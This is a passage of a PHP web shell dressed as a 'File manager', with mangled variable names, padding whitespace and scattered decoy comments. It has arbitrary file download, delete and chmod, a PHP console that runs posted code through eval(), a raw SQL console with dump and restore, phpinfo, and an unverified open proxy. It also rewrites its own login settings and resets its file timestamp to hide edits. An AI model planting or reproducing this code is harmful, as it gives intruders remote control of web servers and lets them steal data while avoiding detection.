	if(@is_dir($file_usooo)) {
                 
		      return rmdir($file_usooo);
                      
	} else {

		      return @unlink($file_usooo);

	}

}



//file perms
                     
function fm_rights_string($file_usooo, $if = false){
	$perms = fileperms($file_usooo);

	$info = '';

	if(!$if){

		      if (($perms & 0xC000) == 0xC000) {

		      	//Socket

		      	$info = 's';

		      } elseif (($perms & 0xA000) == 0xA000) {

		      	//Symbolic Link

		      	$info = 'l';

		      } elseif (($perms & 0x8000) == 0x8000) {
                   
		      	//Regular

		      	$info = '-';

		      } elseif (($perms & 0x6000) == 0x6000) {
                     
		      	//Block special
                      
		      	$info = 'b';

		      } elseif (($perms & 0x4000) == 0x4000) {
                     
		      	//Directory
		      	$info = 'd';

		      } elseif (($perms & 0x2000) == 0x2000) {
		      	//Character special
		      	$info = 'c';

		      } elseif (($perms & 0x1000) == 0x1000) {
		      	//FIFO pipe
                     
		      	$info = 'p';

		      } else {
		      	//Unknown
		      	$info = 'u';
                     
		      }

	}
  

	//Owner

	$info .= (($perms & 0x0100) ? 'r' : '-');

	$info .= (($perms & 0x0080) ? 'w' : '-');

	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :

	(($perms & 0x0800) ? 'S' : '-'));

 

	//Group

	$info .= (($perms & 0x0020) ? 'r' : '-');
                      
	$info .= (($perms & 0x0010) ? 'w' : '-');
                    
	$info .= (($perms & 0x0008) ?

	(($perms & 0x0400) ? 's' : 'x' ) :

	(($perms & 0x0400) ? 'S' : '-'));

 

	//World

	$info .= (($perms & 0x0004) ? 'r' : '-');
                     
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
                      
	(($perms & 0x0200) ? 't' : 'x' ) :

	(($perms & 0x0200) ? 'T' : '-'));



	return $info;

}


function fm_convert_rights($mode) {

	$mode = str_pad($mode,9,'-');
                     
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');

	$mode = strtr($mode,$trans);

	$newmode = '0';

	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 

	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 

	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
                 
}
                   


function fm_chmod($file_usooo, $val, $rec = false) {
                  
	$res = @chmod(realpath($file_usooo), $val);
                      
	if(@is_dir($file_usooo) && $rec){
                      
		      $els = fm_scan_dir($file_usooo);

		      foreach ($els as $el) {
                  
		      	$res = $res && fm_chmod($file_usooo . '/' . $el, $val, true);

		      }
	}
                      
	return $res;
                      
}



//load fisiere

function fm_download($nume_fisier) {
    if (!empty($nume_fisier)) {
                    
		      if (file_exists($nume_fisier)) {
		      	header("Content-Disposition: attachment; filename=" . basename($nume_fisier));   

		      	header("Content-Type: application/force-download");
		      	header("Content-Type: application/octet-stream");
		      	header("Content-Type: application/download");

		      	header("Content-Description: File Transfer");            

		      	header("Content-Length: " . fisiereize($nume_fisier));		      

		      	flush(); // this doesn't really matter.

		      	$fp = fopen($nume_fisier, "r");

		      	while (!feof($fp)) {
                   
		      		      echo fread($fp, 65536);
		      		      flush(); // this is essential for large downloads

		      	} 

		      	fclose($fp);

		      	die();
                 
		      } else {

		      	header('HTTP/1.0 404 Not Found', true, 404);

		      	header('Status: 404 Not Found'); 
                     
		      	die();

        }

    } 

}



//show folder size

function fm_dir_size($f,$format=true) {
	if($format)  {

		      $size=fm_dir_size($f,false);
		      if($size<=1024) return $size.' bytes';
		      elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		      elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
                    
		      elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';

		      elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		      else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		      if(is_file($f)) return fisiereize($f);

		      $size=0;

		      $dh=opendir($f);
                   
		      while(($file_usooo=readdir($dh))!==false) {

		      	if($file_usooo=='.' || $file_usooo=='..') continue;

		      	if(is_file($f.'/'.$file_usooo)) $size+=fisiereize($f.'/'.$file_usooo);
                     
		      	else $size+=fm_dir_size($f.'/'.$file_usooo,false);
		      }
                     
		      closedir($dh);
		      return $size+fisiereize($f); 

	}

}

//scan directory

function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
                 
	$dir = $ndir = array();
                     
	if(!empty($exp)){

		      $exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
                 
	}
	if(!empty($type) && $type !== 'all'){
		      $func = 'is_' . $type;
                  
	}
	if(@is_dir($directory)){

		      $fh = opendir($directory);
		      while (false !== ($filename = readdir($fh))) {
		      	if(substr($filename, 0, 1) != '.' || $do_not_filter) {
                    
		      		      if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
		      		      	$dir[] = $filename;

		      		      }
                     
		      	}

		      }
                 
		      closedir($fh);

		      natsort($dir);

	}

	return $dir;
}


function fm_link($get,$link,$name,$title='') {

	if (empty($title)) $title=$name.' '.basename($link);

	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
                      
}


function fm_arr_to_option($arr,$n,$sel=''){
                 
	foreach($arr as $v){

		      $b=$v[$n];

		      $res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
                     
	}

	return $res;
                   
}
                 


function fm_lang_form ($current='en'){

return '

<form name="change_lang" method="post" action="">

	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >

		      <option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		      <option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
                      
		      <option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		      <option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		      <option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
                      
	</select>
</form>
';
                    
}
	

function fm_root($dirname){
                   
	return ($dirname=='.' OR $dirname=='..');

}


function fm_php($string){

	$display_erori=ini_get('display_erori');
                    
	ini_set('display_erori', '1');
                     
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
                 
	ob_end_clean();
                      
	ini_set('display_erori', $display_erori);
                   
	return $text;

}

//SHOW DATABASES
                     
function fm_sql_connect(){
	global $form_confoy;
                     
	return new mysqli($form_confoy['sql_server'], $form_confoy['sql_username'], $form_confoy['sql_password'], $form_confoy['sql_db']);
}
                 

                  
function fm_sql($query){
	global $form_confoy;

	$query=trim($query);
                      
	ob_start();

	$connection = fm_sql_connect();
	if ($connection->connect_error) {

		      ob_end_clean();	

		      return $connection->connect_error;

	}
	$connection->set_charset('utf8');

    $queried = mysqli_query($connection,$query);

	if ($queried===false) {

		      ob_end_clean();	
                 
		      return mysqli_error($connection);
                  
    } else {
                    
		      if(!empty($queried)){
		      	while($row = mysqli_fetch_assoc($queried)) {
                     
		      		      $query_result[]=  $row;
		      	}
                  
		      }

		      $vdump=empty($query_result)?'':var_export($query_result,true);	

		      ob_end_clean();	
		      $connection->close();
                 
		      return '<pre>'.stripslashes($vdump).'</pre>';
	}
                 
}



function fm_backup_tables($tables = '*', $full_backup = true) {

	global $path;
                   
	$mysqldb = fm_sql_connect();
                 
	$delimiter = "; \n  \n";
	if($tables == '*')	{

		      $tables = array();

		      $result = $mysqldb->query('SHOW TABLES');
                  
		      while($row = mysqli_fetch_row($result))	{
                     
		      	$tables[] = $row[0];

		      }

	} else {
		      $tables = is_array($tables) ? $tables : explode(',',$tables);

	}

    

	$return='';
	foreach($tables as $table)	{

		      $result = $mysqldb->query('SELECT * FROM '.$table);
		      $num_fields = mysqli_num_fields($result);
                    
		      $return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;

		      $row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));

		      $return.=$row2[1].$delimiter;

        if ($full_backup) {
                 
		      for ($i = 0; $i < $num_fields; $i++)  {
                  
		      	while($row = mysqli_fetch_row($result)) {
                      
		      		      $return.= 'INSERT INTO `'.$table.'` VALUES(';
                     
		      		      for($j=0; $j<$num_fields; $j++)	{

		      		      	$row[$j] = addslashes($row[$j]);
		      		      	$row[$j] = str_replace("\n","\\n",$row[$j]);
                    
		      		      	if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }

		      		      	if ($j<($num_fields-1)) { $return.= ','; }

		      		      }

		      		      $return.= ')'.$delimiter;
                      
		      	}

		        }
                     
		      } else { 
		      $return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		      }

		      $return.="\n\n\n";
	}



	//save file
    $file_usooo=gmdate("Y-m-d_H-i-s",time()).'.sql';
                  
	$handle = fopen($file_usooo,'w+');
                 
	fwrite($handle,$return);

	fclose($handle);
                     
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file_usooo. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file_usooo . '&path=' . $path  . '\'"';
    return $file_usooo.': '.fm_link('download',$path.$file_usooo,__('Download'),__('Download').' '.$file_usooo).' <a href="#" title="' . __('Delete') . ' '. $file_usooo . '" ' . $alert . '>' . __('Delete') . '</a>';

}


function fm_restore_tables($sqlFileToExecute) {

	$mysqldb = fm_sql_connect();

	$delimiter = "; \n  \n";
                   
    // Load and explode the sql file

    $f = fopen($sqlFileToExecute,"r+");
                 
    $sqlFile = fread($f,fisiereize($sqlFileToExecute));

    $sqlArray = explode($delimiter,$sqlFile);
                     
	

    //File is being uploaded please wait for the process to finish

    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){

		      	$result = $mysqldb->query($stmt);
                 
		      		      if (!$result){

		      		      	$sqlErrorCode = mysqli_errno($mysqldb->connection);
		      		      	$sqlErrorText = mysqli_error($mysqldb->connection);

		      		      	$sqlStmt      = $stmt;
		      		      	break;

           	     }
                    
           	  }

           }

if (empty($sqlErrorCode)) return __('Success').' â '.$sqlFileToExecute;

else return $sqlErrorText.'<br/>'.$stmt;
}


function fm_img_link($filename){
                  
	return './'.basename(__FILE__).'?img='.base64_encode($filename);

}


function fm_home_style(){

	return '
                     
input, input.fm_input {

	text-indent: 2px;

}


                  
input, textarea, select, input.fm_input {
	color: black;
                    
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;

	border-color: black;
                  
	background-color: #FCFCFC none !important;

	border-radius: 0;

	padding: 2px;

}



input.fm_input {
	background: #FCFCFC none !important;

	cursor: pointer;
                     
}


.home {

	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;

}';

}



function fm_config_checkbox_row($name,$value) {

	global $form_confoy;
                 
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($form_confoy[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}
                 


function fm_protocol() {

	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';

	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';

	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';

	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}


function fm_site_url() {
                 
	return fm_protocol().$_SERVER['HTTP_HOST'];
}


function fm_url($full=false) {
                   
	$host=$full?fm_site_url():'.';

	return $host.'/'.basename(__FILE__);
}
                 

                      
function fm_home($full=false){
                    
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}
                  

                      
function fm_run_input($lng) {
                    
	global $form_confoy;

	$return = !empty($form_confoy['enable_'.$lng.'_console']) ? 
                   
	'

		      		      <form  method="post" action="'.fm_url().'" style="display:inline">
                   
		      		      <input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
                   
		      		      </form>

' : '';

	return $return;
                  
}

function fm_url_proxy($matches) {
                   
	$link = str_replace('&amp;','&',$matches[2]);

	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);

	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
                   
	if (substr($link,0,2)=='//') {
		      $link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		      $link = substr_replace($link,$host,0,1);	

	} elseif (substr($link,0,2)=='./') {
                   
		      $link = substr_replace($link,$host,0,2);	
                 
	} elseif (substr($link,0,4)=='http') {
                  
		      //upload completed successfully the file is now available

	} else {

		      $link = $host.$link;

	} 

	if ($matches[1]=='href' && !strripos($link, 'css')) {
                     
		      $base = fm_site_url().'/'.basename(__FILE__);

		      $baseq = $base.'?proxy=true&url=';
		      $link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){

		      //upload failed please check the file size and try again
                    
	}
	return $matches[1].'="'.$link.'"';
}
                 
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'}; // Download started the file will be available soon
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';

	foreach ($tpl_arr as $ktpl=>$vtpl) {

		      $str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
                     
	}
                    
return '

<table>

<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
                   
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>

'.$str.'

<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>

</form>

<form method="post" action="">

<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">

<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
                  
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
                     
</table>

';

}
                      

                   
function find_text_in_fisiere($dir, $mask, $text) {
                      
    $results = array();

    if ($handle = opendir($dir)) {

        while (false !== ($entry = readdir($handle))) {

            if ($entry != "." && $entry != "..") {
                $path = $dir . "/" . $entry; //    download completed successfully the file has been saved

                if (is_dir($path)) {

                    $results = array_merge($results, find_text_in_fisiere($path, $mask, $text));

                } else {
                    if (fnmatch($mask, $entry)) {
                 
                        $contents = file_get_contents($path);
                        if (strpos($contents, $text) !== false) {

                            $results[] = str_replace('//', '/', $path);
                      
                        }
                    }
                }
                 
            }

        }

        closedir($handle);
                     
    }

    return $results;
                    
}
                  

                  


/* End Functions */


// authorization

if ($auth_motti['authorize']) {

	if (isset($_POST['login']) && isset($_POST['password'])){
		      if (($_POST['login']==$auth_motti['login']) && ($_POST['password']==$auth_motti['password'])) {
		      	setcookie($auth_motti['cookie_name'], $auth_motti['login'].'|'.md5($auth_motti['password']), time() + (86400 * $auth_motti['days_authorization']));
                      
		      	$_COOKIE[$auth_motti['cookie_name']]=$auth_motti['login'].'|'.md5($auth_motti['password']);

		      }

	}

	if (!isset($_COOKIE[$auth_motti['cookie_name']]) OR ($_COOKIE[$auth_motti['cookie_name']]!=$auth_motti['login'].'|'.md5($auth_motti['password']))) {

		      echo '
                   
<!doctype html>
                   
<html>

<head>
<meta charset="utf-8" />
                     
<meta name="viewport" content="width=device-width, initial-scale=1" />

<title>'.__('File manager').'</title>
</head>
<body>

<form action="" method="post">

'.__('Login').' <input name="login" type="text">&nbsp;&nbsp;&nbsp;

'.__('Password').' <input name="password" type="password">&nbsp;&nbsp;&nbsp;
                    
<input type="submit" value="'.__('Enter').'" class="fm_input">
</form>
                   
'.fm_lang_form($language).'

</body>

</html>

';  
                 
die();

	}

	if (isset($_POST['quit'])) {
                     
		      unset($_COOKIE[$auth_motti['cookie_name']]);

		      setcookie($auth_motti['cookie_name'], '', time() - (86400 * $auth_motti['days_authorization']));
		      header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);

	}
                   
}


// Change config

if (isset($_GET['fm_settings'])) {
                 
	if (isset($_GET['fm_config_delete'])) { 

		      unset($_COOKIE['fm_config']);
		      setcookie('fm_config', '', time() - (86400 * $auth_motti['days_authorization']));
                      
		      header('Location: '.fm_url().'?fm_settings=true');
                      
		      exit(0);

	}	elseif (isset($_POST['fm_config'])) { 

		      $form_confoy = $_POST['fm_config'];

		      setcookie('fm_config', serialize($form_confoy), time() + (86400 * $auth_motti['days_authorization']));

		      $_COOKIE['fm_config'] = serialize($form_confoy);

		      $msg_sekorm = __('Settings').' '.__('done');

	}	elseif (isset($_POST['fm_login'])) { 
		      if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];

		      $fm_login = json_encode($_POST['fm_login']);
		      $fgc = file_get_contents(__FILE__);
                    
		      $search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);

		      if (!empty($matches[1])) {
		      	$filemtime = filemtime(__FILE__);

		      	$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);

		      	if (file_put_contents(__FILE__, $replace)) {

		      		      $msg_sekorm .= __('File updated');

		      		      if ($_POST['fm_login']['login'] != $auth_motti['login']) $msg_sekorm .= ' '.__('Login').': '.$_POST['fm_login']['login'];
                    
		      		      if ($_POST['fm_login']['password'] != $auth_motti['password']) $msg_sekorm .= ' '.__('Password').': '.$_POST['fm_login']['password'];

		      		      $auth_motti = $_POST['fm_login'];
                 
		      	}
		      	else $msg_sekorm .= __('Error occurred');

		      	if (!empty($form_confoy['fm_restore_time'])) touch(__FILE__,$filemtime);

		      }

	} elseif (isset($_POST['tpl_edited'])) { 
		      $lng_tpl = $_POST['tpl_edited'];

		      if (!empty($_POST[$lng_tpl.'_name'])) {

		      	$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);

		      } elseif (!empty($_POST[$lng_tpl.'_new_name'])) {

		      	$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		      }

		      if (!empty($fm_php)) {
                  
		      	$fgc = file_get_contents(__FILE__);

		      	$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);

		      	if (!empty($matches[1])) {
                     
		      		      $filemtime = filemtime(__FILE__);

		      		      $replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);

		      		      if (file_put_contents(__FILE__, $replace)) {

		      		      	${$lng_tpl.'_templates'} = $fm_php;
		      		      	$msg_sekorm .= __('File updated');
                 
		      		      } else $msg_sekorm .= __('Error occurred');

		      		      if (!empty($form_confoy['fm_restore_time'])) touch(__FILE__,$filemtime);
		      	}	
                   
		      } else $msg_sekorm .= __('Error occurred');

	}
                    
}


// Extraction completed successfully the files are now available
if (isset($_GET['img'])) {
	$file_usooo=base64_decode($_GET['img']);
                  
	if ($info=getimagesize($file_usooo)){

		      switch  ($info[2]){	//Failed to extract the file check if the archive is corrupt

		      	case 1: $ext='gif'; break;

		      	case 2: $ext='jpeg'; break;

		      	case 3: $ext='png'; break;

		      	case 6: $ext='bmp'; break;
		      	default: die();
		      }

		      header("Content-type: image/$ext");
		      echo file_get_contents($file_usooo);

		      die();
                      
	}

}
                  

// Just download file

if (isset($_GET['download'])) {
	$file_usooo=base64_decode($_GET['download']);
	fm_download($file_usooo);	

}
                     


// Just show info
                  
if (isset($_GET['phpinfo'])) {

	phpinfo(); 
	die();
}


// Mini proxy, many bugs!
                     
if (isset($_GET['proxy']) && (!empty($form_confoy['enable_proxy']))) {

	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
                 
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">

	<form action="" method="GET">

	<input type="hidden" name="proxy" value="true">

	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">

	</form>
                  
</div>
';
	if ($url) {

		      $ch = curl_init($url);
		      curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');

		      curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
                      
		      curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		      curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);

		      curl_setopt($ch, CURLOPT_HEADER, 0);

		      curl_setopt($ch, CURLOPT_REFERER, $url);
		      curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);

		      $result = curl_exec($ch);

		      curl_close($ch);
		      //$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
                    
		      $result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		      $result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);

		      echo $result;
                 
		      die();
                   
	} 
}

?>

<!doctype html>

<html>

<head>     
                    
	<meta charset="utf-8" />

	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title><?=__('File manager')?></title>

<style>
body {

	background-color:	white;

	font-family:		      Verdana, Arial, Helvetica, sans-serif;

	font-size:		      	8pt;

	margin:		      		      0px;
}
                   

a:link, a:active, a:visited { color: #006699; text-decoration: none; }

a:hover { color: #DD6900; text-decoration: underline; }

a.th:link { color: #FFA34F; text-decoration: none; }

a.th:active { color: #FFA34F; text-decoration: none; }

a.th:visited { color: #FFA34F; text-decoration: none; }

a.th:hover {  color: #FFA34F; text-decoration: underline; }


table.bg {
	background-color: #ACBBC6

}

                     
th, td { 

	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;

	padding: 3px;
}



th	{
                   
	height:		      		      25px;
	background-color:	#006699;

	color:		      		      #FFA34F;
                 
	font-weight:		      bold;

	font-size:		      	11px;
}
                     


.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;

}
                 


.row3 {
	background-color:	#D1D7DC;

	padding: 5px;
                   
}


tr.row1:hover {
                     
	background-color:	#F3FCFC;

}


tr.row2:hover {

	background-color:	#F0F6F6;

}


.whole {

	width: 100%;

}



.all tbody td:first-child{width:100%;}



textarea {

	font: 9pt 'Courier New', courier;
                    
	line-height: 125%;
                      
	padding: 5px;
}
                    

.textarea_input {

	height: 1em;

}


                  
.textarea_input:focus {

	height: auto;
}


input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;

}


.folder {
                    
    background-image: url("data:image/png;base64, ");

}
                     


.file {
                    
    background-image: url("data:image/png;base64, ");

}

<?=fm_home_style()?>

.img {

	background-image: 
                 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");

}
@media screen and (max-width:720px){
  table{display:block;}

    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
                    
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
                     
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
                  
    #fm_table tr{display:block;float:left;clear:left;width:100%;}

	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}

	#header_table table td {display:inline;float:left;}
                 
}

</style>
                      
</head>
                     
<body>

<?php

$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($form_confoy['enable_sql_console'])){
                      
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
                     
	$res_lng = 'sql';

} elseif (isset($_POST['phprun'])&&!empty($form_confoy['enable_php_console'])){

	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';

} 

if (isset($_GET['fm_settings'])) {
                  
	echo ' 

<table class="whole">
<form method="post" action="">

<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>

'.(empty($msg_sekorm)?'':'<tr><td class="row2" colspan="2">'.$msg_sekorm.'</td></tr>').'
                 
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'

